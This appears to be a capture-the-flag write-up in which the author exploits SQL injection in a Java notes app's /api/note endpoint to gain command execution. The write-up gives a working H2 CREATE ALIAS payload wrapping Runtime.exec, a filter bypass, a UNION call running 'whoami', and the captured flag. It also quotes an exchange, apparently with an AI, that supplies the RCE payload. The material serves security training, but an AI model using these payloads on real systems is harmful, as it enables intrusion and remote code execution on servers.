
Just a simple login page. Registered an account and logged in.

Intercepting the requests in Burp, I saw it’s fetching notes from /api/notes:
HTTP/1.1 200
Content-Type: application/json
Keep-Alive: timeout=60
Connection: keep-alive
Content-Length: 242
[
{
"Content": "One ' to rule them all",
"Note": "SQL Injection",
"ID": 1
},
{
"Content": "Script alert 1 !!!!!!!!!",
"Note": "Cross Site Scripting",
"ID": 2
},
{
"Content": "IDK, can you tell me? ¯\\_(ツ)_/¯",
"Note": "Skill issue",
"ID": 3
}
]
Clicked on the first note (SQL Injection) and checked Burp:

HTTP/1.1 200
Content-Type: text/html;charset=UTF-8
Content-Language: en-GB
Keep-Alive: timeout=60
Connection: keep-alive
Content-Length: 4515
<!DOCTYPE html>
<html lang="en">
<head>
<meta charset="UTF-8">
<title>Note Display</title>
<link rel="stylesheet" href="/Css/note.css">
<style>
...
</style>
</head>
<body>
<div class="app">
...
</div>
<script>
document.addEventListener('DOMContentLoaded', function () {
const urlParams = new URLSearchParams(window.location.search);
const nameParam = urlParams.get('name');
if (nameParam) {
const formData = new FormData();
formData.append('name', nameParam);
fetch('/api/note', {
method: 'POST',
body: formData
})
.then(response => {
if (!response.ok) {
throw new Error('Network response was not ok');
}
return response.json(); // Parse response as JSON
})
.then(data => {
const checklist = document.getElementById('checklist');
checklist.innerHTML = ''; // Clear previous content
if (data.length === 0) {
checklist.innerHTML = '<p>No checklist items available.</p>';
} else {
data.forEach(item => {
const checklistItem = document.createElement('div');
checklistItem.classList.add('checklist__item');
const itemTitle = document.createElement('div');
itemTitle.classList.add('checklist__item-title');
itemTitle.textContent = `ID: ${item.ID}`;
const itemContent = document.createElement('div');
itemContent.innerHTML = `Name: ${item.Name}<br>Note: ${item.Note}`; // Use innerHTML for line break
checklistItem.appendChild(itemTitle);
checklistItem.appendChild(itemContent);
checklist.appendChild(checklistItem);
});
}
})
.catch(error => {
console.error('Error fetching note data:', error);
});
} else {
console.error('No "name" parameter found in the URL.');
}
});
</script>
</body>
</html>
Interesting - the HTML fetches from /api/note with a POST request, but the browser navigates to /note?name=<name> with GET. Let me test the API endpoint directly:
HTTP/1.1 405
Allow: POST
Content-Type: text/html;charset=UTF-8
Content-Language: en-GB
Content-Length: 284
Keep-Alive: timeout=60
Connection: keep-alive
<html><body><h1>Whitelabel Error Page</h1><p>This application has no explicit mapping for /error, so you are seeing this as a fallback.</p><div id='created'>Sat May 24 12:16:26 UTC 2025</div><div>There was an unexpected error (type=Method Not Allowed, status=405).</div></body></html>
Ah, needs POST. Changed the method in Burp Repeater:
HTTP/1.1 200
Content-Type: application/json
Keep-Alive: timeout=60
Connection: keep-alive
Content-Length: 2
[]
Time to test for SQLi. Sent name=a':
HTTP/1.1 500
Content-Type: text/html;charset=UTF-8
Content-Language: en-GB
Content-Length: 287
Connection: close
<html><body><h1>Whitelabel Error Page</h1><p>This application has no explicit mapping for /error, so you are seeing this as a fallback.</p><div id='created'>Sat May 24 12:19:26 UTC 2025</div><div>There was an unexpected error (type=Internal Server Error, status=500).</div></body></html>
500 error! Definitely SQL injection. Based on the Java/Spring Boot stack, this is likely an H2 database. H2 has a neat trick where you can create SQL functions that execute Java code:
-- query: I'm currently learning to exploit a Java webapp with H2 database. I found that it is vulnerable to SQLi. What is a payload that I can try to RCE?
-- response:
';
CREATE ALIAS SHELL AS
$$ String shell(String cmd) throws java.io.IOException {
java.util.Scanner s = new java.util.Scanner(
Runtime.getRuntime().exec(cmd).getInputStream()
).useDelimiter("\\A");
return s.hasNext() ? s.next() : "";
} $$;
--
The $$ creates a function that we can call to execute commands. But wait - when I tried it, got blocked with “Bad character in name :)”. Turns out $$ is filtered, but we can use single quotes ' instead:
name=';
CREATE ALIAS SHELL AS
' String shell(String cmd) throws java.io.IOException {
java.util.Scanner s = new java.util.Scanner(
Runtime.getRuntime().exec(cmd).getInputStream()
).useDelimiter("\\A");
return s.hasNext() ? s.next() : "";
} ';--
Got a 200 response - the function was created. Now let’s call it:
name=a'UNION+SELECT+1,2,SELECT+SHELL('whoami');--
Command execution achieved! Now to find the flag:
HTTP/1.1 200
Content-Type: application/json
Keep-Alive: timeout=60
Connection: keep-alive
Content-Length: 67
[{"Note":"mvnw\nmvnw.cmd\npom.xml\nsrc\ntarget\n","ID":1,"Name":2}]
Checked the parent directory:
HTTP/1.1 200
Content-Type: application/json
Keep-Alive: timeout=60
Connection: keep-alive
Content-Length: 161
[{"Note":"JN8fe3XRqTYK_flag.txt\napp\nbin\nboot\ndev\netc\nhome\nlib\nlib64\nmedia\nmnt\nopt\nproc\nroot\nrun\nsbin\nsrv\nsys\ntmp\nusr\nvar\n","ID":1,"Name":2}]
There’s a flag file with a random prefix! Reading it:
HTTP/1.1 200
Content-Type: application/json
Keep-Alive: timeout=60
Connection: keep-alive
Content-Length: 68
[{"Note":"HTB{y0u_w1ll_n33d_a_ch3ckl1st_f0r_sUr3}","ID":1,"Name":2}]
Flag: HTB{y0u_w1ll_n33d_a_ch3ckl1st_f0r_sUr3}